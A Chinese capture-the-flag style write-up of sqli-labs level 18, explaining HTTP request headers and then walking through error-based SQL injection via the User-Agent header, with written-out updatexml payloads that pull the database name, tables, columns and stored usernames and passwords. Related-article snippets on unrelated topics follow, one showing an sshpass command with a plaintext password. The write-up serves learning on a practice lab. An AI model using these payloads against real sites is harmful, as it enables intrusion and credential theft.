sqli-labs关卡18(基于http头部报错盲注)通关思路
文章目录
- 前言
- 一、靶场通关需要了解的知识点
- 1、什么是http请求头
- 2、为什么http头部可以进行注入
- 二、靶场第十八关通关思路
- 1、判断注入点
- 2、爆数据库名
- 3、爆数据库表
- 4、爆数据库列
- 5、爆数据库关键信息
- 总结
前言
此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!
一、靶场通关需要了解的知识点
- 1、什么是http请求头
- 2、为什么http头部可以进行注入
1、什么是http请求头
这里我只演示sql注入常见的请求头内容。
- 1、user-agent
User-Agent 首部包含了一个特征字符串,用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。
浏览器通常使用的格式为:
User-Agent: Mozilla/<version> (<system-information>) <platform> (<platform-details>) <extensions>
这里我在微博进行演示user-agent的作用(无恶意,仅演示)
这里我先用kali系统在火狐浏览器中微博搜索1(如图所示)
然后抓包更改user-agent内容,改为手机端。这里我改为oppo手机访问网站的user-agent。因为user-agent是用来识别用户的身份的,如果你是pc端,那么服务器接收到你的user-agent发现你是pc端的linux系统,它就会响应一个pc电脑访问微博的界面。那么如果服务器接收的是我更改的手机user-agent的话,它就会自动识别我是手机端登录,然后响应一个手机访问微博的页面。
Mozilla/5.0 (Linux; Android 7.1.1; OPPO R11st Build/NMF26X; wv)
AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.83
Mobile Safari/537.36 T7/11.15 baiduboxapp/11.15.5.10 (Baidu; P1 7.1.1)
这是我更改的oppo手机user-agent.
更改流程如下,图一是linux系统pc端的user-agent,图二是我们改为oppo的user-agent。
然后发包看结果对比一下。
发现我pc端访问的微博界面变成了oppo手机端访问微博的界面。这就是user-agent的作用。通过识别用户身份,响应合适的web界面。
- 2、referer字段
Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer
请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。
就比如你从csdn访问外链接跳转,此时referer字段指向的url地址就是csdn的地址。
- 3、cookie
Cookie 是一个 HTTP 请求标头,其中含有先前由服务器通过 Set-Cookie 标头投放或通过 JavaScript 的
Document.cookie 方法设置,然后存储到客户端的 HTTP cookie 。
- 4、X-Forwarded-For
X-Forwarded-For(XFF)请求标头是一个事实上的用于标识通过代理服务器连接到 web 服务器的客户端的原始 IP 地址的标头。
当客户端直接连接到服务器时,其 IP
地址被发送给服务器(并且经常被记录在服务器的访问日志中)。但是如果客户端通过正向或反向代理服务器进行连接,服务器就只能看到最后一个代理服务器的
IP 地址,这个 IP
通常没什么用。如果最后一个代理服务器是与服务器安装在同一台主机上的负载均衡服务器,则更是如此。X-Forwarded-For
的出现,就是为了向服务器提供更有用的客户端 IP 地址。
2、为什么http头部可以进行注入
由于大部分网站为了记录用户的http请求头部内容,来更好的识别用户的身份信息,会将其带入数据库处理。我们知道任何与数据库交互的地方都是有可能会有sql注入漏洞的。如果管理员没有对http头部内容进行验证和过滤,导致攻击者可以任意篡改http头部信息拼接到数据库恶意获取敏感内容。
二、靶场第十八关通关思路
- 1、判断注入点
- 2、爆数据库名
- 3、爆数据库表
- 4、爆数据库列
- 5、爆数据库关键信息
1、判断注入点
首先打开第十八关,发现页面多了一个记录ip的信息。假如我们现在不知道是http头部注入,我们尝试在登录框进行sql注入,发现无论如何都是注入不成功的。这个时候我们就要换思路了,因为看到这里有记录ip信息,IP信息的记录像是和http请求头的X-Forwarded-For有关系。那么我们就要想到能不能在http请求头进行注入。
这里为了方便理解我们就看源码了
发现到有两个参数
网上搜发现是用来获取用户信息的user-agent值和ip值。我们发现这就是请求头的内容。继续往下看,发现user-agent值被带入到数据库中。而且没有被过滤。
(如图所示)我们也发现uname和passwd被过滤了,这里源码写了一个check_input的功能函数,将uname和passwd的特殊字符进行转义,我们也去网上搜了mysql_real_escape_string () 函数的作用,所以得知刚刚我们无脑在登录框注入不成功的原因是有这个转义函数在干扰。如果懂一点sql注入代码审计的大佬应该一眼就看出这是一个典型的防sql注入的代码。
但是我们刚刚发现源码并没有将user-agent值调用check_input函数进行过滤sql注入。那么我们可以从这里构造payload。
我们仔细看user-agent值被拼接到数据库的代码。
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)
我们是要在uagent进行构造pyaload的,所以就得看这句代码进行构造payload
这里构造为' ,1,1)#
发现构造payload成功,但是有的人可能要质疑了,你这是知道源码才能轻松构造出来payload的,那实战大都是没有源码的呀,那咋构造?
很好,这里我假装不知道源码是什么。我们首先和之前思路一样,先试一试and 1=1 和and 1=2,发现页面都正常,说明排除数字型。
然后我们再直接在user-agent后面加上单引号,发现报错了。
报错语句为
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ‘xxx.xxx.xxx.xxx’, ‘admin’)’ at line 1
从报错看出肯定是有关单引号闭合,凭空想象应该原始语句是这样的
('$uagent', '$IP', $uname)
从报错内容发现不光光是单引号闭合的问题。发现user-agent加单引号后报错是缺少了 ‘xxx.xxx.xxx.xxx’, ‘admin’)'这个东西。也就是说你刚刚是这样注入的才导致报错。
('$uagent'', '$IP', $uname)
我们如果单单像之前注入一样闭合掉单引号的话就会变成这样
('$uagent'#', '$IP', $uname)
这样的话后面的两个参数就不见了,也会报错。所以我们得构造出这样
('$uagent',1,1)#', '$IP', $uname)
在payload多写两个参数,构造出和原始语句一模一样的语句
payload构造出来了,因为它有报错回显,但是不回显内容。所以用报错盲注。
2、爆数据库名
注入语句为
1' and updatexml(1,concat(0x3a,(select database()),0x3a),1),1,1)#
3、爆数据库表
注入语句为
1' and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1),1,1)#
得到关键数据库表名users
4、爆数据库列
注入语句为
1' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1),1,1)#
1' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1),1,1)#
得到关键数据库列username,password
5、爆数据库关键信息
注入语句为
1' and updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1),1,1)#
1' and updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1),1,1)#
得到账号密码
总结
这一关是利用http头部的user-agent值进行sql注入,由于这一关账号密码被sql防注入过滤了,但是没有对user-agent值进行过滤,所以导致可以在user-agent进行注入。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!
相关文章:

sqli-labs关卡18(基于http头部报错盲注)通关思路
文章目录 前言一、靶场通关需要了解的知识点1、什么是http请求头2、为什么http头部可以进行注入 二、靶场第十八关通关思路1、判断注入点2、爆数据库名3、爆数据库表4、爆数据库列5、爆数据库关键信息 总结 前言 此文章只用于学习和反思巩固sql注入知识,禁止用于做…...
uni-app顶部导航栏背景色如何设置,微信小程序返回键设置
百度经验 https://jingyan.baidu.com/article/67508eb48c5c37dcca1ce499.html 这样设置微信小程序没有返回键 {"path": "pages/index/index","style": {"navigationBarTitleText": "首页","app-plus": {"ti…...
基于多种设计模式重构代码(工厂、模板、策略)
基于多种设计模式重构代码 现状 系统目前支持三种业务流程,业务A, 业务B,业务C,每个流程有相同的业务逻辑,也包含很多的特性化业务。由于之前业务流程的开发是快速迭代的,而且迭代了很多次,开发…...

boomYouth
上一周实在是过得太颓废了,我感觉还是要把自己的规划做好一下: 周计划 这周截至周四,我可以用vue简单的画完登陆注册的界面并且弄一点预处理: 周一 的话可以把这些都学一下: 父传子,子传父:…...
关于这个“这是B站目前讲的最好的【Transformer实战】教程!“视频的目前可以运行的源代码GPU版本
课程链接如下: 2.1认识Transformer架构-part1_哔哩哔哩_bilibili 因为网上可以找到源代码,但是呢,代码似乎有点小错误,我自己改正后,放到了GPU上运行, 代码如下: # 来自https://www.bilibil…...

STM32定时器输入捕获测量高电平时间
STM32定时器输入捕获测量高电平时间 输入捕获测量高电平时间CuebMX配置代码部分 本篇内容要求读者对STM32通用定时器有一点理解,如有不解,请看 夜深人静学32系列15——通用定时器 输入捕获 输入捕获是STM32通用定时器的一种功能,可以捕获特定…...

开源WIFI继电器之硬件电路
一、原理图 源文件 二、原理图说明 1、器件说明 U4:ESP8285模块 U6:触发器 U3:继电器 2、继电器状态检测说明 检测继电器线圈是否通电来判断继电器是否导通,当Q1不导通时,Q1集电极的电压为3.3V,经…...
远程执行ssh脚本
sshpass -p 123456 ssh root10.1.10.18 "/root/start.sh"sshpass: 这是一个工具,用于提供密码给 ssh 命令,以便无需手动输入密码就能通过 SSH 连接到远程服务器。 -p ‘123456’: 这是 sshpass 命令的选项,指定了连接时使用的密码…...

excel导入 Easy Excel
依旧是框架感觉有东西,但是确实是模拟不出来,各种零零散散的件太多了 controller层 ApiOperation(value "导入Excel", notes "导入Excel", httpMethod "POST", response ExcelResponseDTO.class)ApiImplicitParams({…...

html实现图片裁剪处理(附源码)
文章目录 1.设计来源1.1 主界面1.2 裁剪界面 2.效果和源码2.1 动态效果2.2 源代码 源码下载 作者:xcLeigh 文章地址:https://blog.csdn.net/weixin_43151418/article/details/134455169 html实现图片裁剪处理(附源码),支持图片放大缩小&#…...
前端语言报错
1. 语法错误(Syntax Errors) 这是由于代码不符合语法规则而引起的错误,通常在代码编译阶段发生。示例: javascriptCopy code if (x 10 { // 缺少了右括号 // 代码逻辑 } 2. 类型错误(Type Errors) 这…...
详细讲解什么是观察者模式
观察者模式(Observer Pattern)是一种行为设计模式,它定义了一种一对多的依赖关系,让多个观察者对象同时监听某一个主题对象,当主题对象状态发生变化时,所有依赖于它的观察者都会得到通知并自动更新。 该模…...

镭速,克服UDP传输缺点的百倍提速传输软件工具
在网络传输中,我们经常会面临这样的困难:文件太大,传输速度太慢,浪费时间和流量;文件太小,传输速度太快,容易出现丢包和乱序,损害数据的完整性和正确性。这些困难的根本在于传输层协…...

Semi-Supervised Multi-Modal Learning with Balanced Spectral Decomposition
Y是所有模态的表征矩阵, ∑ i 1 d h ( λ i ) \sum_{i1}^dh(\lambda_i) ∑i1dh(λi) is the proposed eigenvalue-based objective function,the final similarity matrix W for the multimodal data as a block matrix 辅助信息 作者未提供代码...
3296:【例50.2】 计算书费《信息学奥赛一本通编程启蒙(C++版)》
3296:【例50.2】 计算书费《信息学奥赛一本通编程启蒙(C版)》 【题目描述】 下面是一个图书的单价表: 1、计算概论 28.9 元/本 2、数据结构与算法 32.7 元/本 3、数字逻辑 45.6 元/本 4、C程序设计教程 78 元/本 5、人工智能…...

统一身份认证平台之SSO建设
前言 上篇说道Passwordless无密码技术,也提到了数字时代密码管理的难度,其实在日常的生活中,很多用户也会因为忘记某些网站的登录密码而烦恼。为了方便记忆,很多人都在不同的站点使用相同的用户名和密码,虽然也可以减少…...
【开题报告】基于SpringBoot的膳食营养健康网站的设计与实现
1.选题背景与意义 基于SpringBoot的膳食营养健康网站的设计与实现是一个具有重要意义的选题。背景和意义主要包括以下几点: (1)社会健康意识的提升:随着人们健康意识的提高,越来越多的人开始关注自己的饮食营养问题。…...
超五类网线和六类网线的相同点和区别
本文对超五类网线和六类网线的相同点和区别进行了简单介绍,帮助大家区分和建立相应的概念。 相同点: (1)都是网络跳线,用于连接网络设备。 (2)网线内部由8根不同颜色的线组成。 区别…...

Linux--初识和基本的指令(1)
目录 前言 0.什么是操作系统 0.1 搭建 Linux 环境 0.2搭建 Linux 环境小结 1.使用 XShell 远程登录 Linux 1.1关于 Linux 桌面 1.2下载安装 XShell 1.3查看 Linux 主机 ip 1.4XShell 下的复制粘贴 2.Linux下基本指令 2.1 pwd命令 2.2 ls命令 2.3 mkdir指令 2.4 cd…...

万宾科技智能井盖传感器,提升市政井盖健康
市政井盖就是城市里不可或缺的基础设施之一,关于它的监测工作可马虎不得。它承载着保护市民的交通安全以及城市正常运转的重要使命。虽然现在城市化的速度很快,但是传统的市政井盖管理方式变得有些力不从心了。井盖的覆盖范围很广,如果单单依…...
CSS高级技巧及新增属性
CSS高级技巧及新增属性 jarringslee 文章目录 CSS高级技巧及新增属性精灵图 Sprite字体图标 iconfontCSS几何图形的写法更改鼠标样式更改表单轮廓取消文本域的拖拽行内块元素的垂直居中对齐溢出文字处理 CSS布局技巧CSS5新增内容及其他属性新增选择器新增基础属性及其他属性ca…...

(LeetCode 动态规划(基础版))96. 不同的二叉搜索树 (递推 || 递归)
题目:96. 不同的二叉搜索树 思路:二叉树长度为n时,枚举每个点u作为根节点root,那么root左边的数构成左子树种数left,root右边的数构成右子树种数right,那么当前u为根节点下,二叉树的种数为left*…...

汽车车载软件平台化项目规模颗粒度选择的一些探讨
汽车进入 SDV 时代后,车载软件研发呈现出开源生态构建、电子架构升级、基础软件标准化、本土供应链崛起、AI 原生架构普及、云边协同开发等趋势,这些趋势促使车载软件研发面临新挑战,如何构建适应这些变化的平台化架构成为车企与 Tier 1 的战…...

【试卷篇】Spring面试试卷题
一、选择题 1. 下面关于AOP的说法错误的是( C)。 A.AOP将散落在系统中的“方面”代码集中实现 B.AOP有助于提高系统的可维护性 C.AOP已经表现出了将要替代面向对象的趋势 D.AOP是一种设计模式,…...

Linux编程:2、进程基础知识
一、进程基本概念 1、进程与程序的区别 程序:静态的可执行文件(如电脑中的vs2022安装程序)。进程:程序的动态执行过程(如启动后的vs2022实例),是操作系统分配资源的单位(如 CPU 时…...

Docker容器部署elasticsearch8.*与Kibana8.*版本使用filebeat采集日志
第 1 步:使用 Docker Compose 部署 Elasticsearch 和 Kibana 首先,我们需要创建一个 docker-compose.yml 文件来定义和运行 Elasticsearch 和 Kibana 服务。这种方式可以轻松管理两个容器的配置和网络。 创建 docker-compose.yml 文件 在一个新的文件夹…...

PDF转PPT转换方法总结
你是否遇到过这些场景? 收到客户发来的产品手册PDF,明天就要用它做演示; 公司历史资料只有PDF版,领导突然要求更新为幻灯片。 这时PDF转PPT工具就成了救命稻草。接下来,介绍三种PDF转PPT工具。 1. iLoveOFD在线转换…...

【AI系列】BM25 与向量检索
博客目录 引言:信息检索技术的演进第一部分:BM25 算法详解第二部分:向量检索技术解析第三部分:BM25 与向量检索的对比分析第四部分:融合与创新:混合检索系统 引言:信息检索技术的演进 在信息爆…...

AI智能体,为美业后端供应链注入“智慧因子”(4/6)
摘要:本文深入剖析美业后端供应链现状,其产品具有多样性、更新换代快等特点,原料供应和生产环节也面临诸多挑战。AI 智能体的登场为美业后端供应链带来变革,包括精准需求预测、智能化库存管理、优化生产计划排程、升级供应商管理等…...
复制与图片文件同名的标签文件到目标路径
引言:在数据集构建中,我们经常需要挑选一些特殊类型的图片(如:零件中有特殊脏污背景的图片,写论文的时候想单独对这类情况进行热力图验证)。我们把挑选出来的图片放到一个文件夹下,这时候我想快…...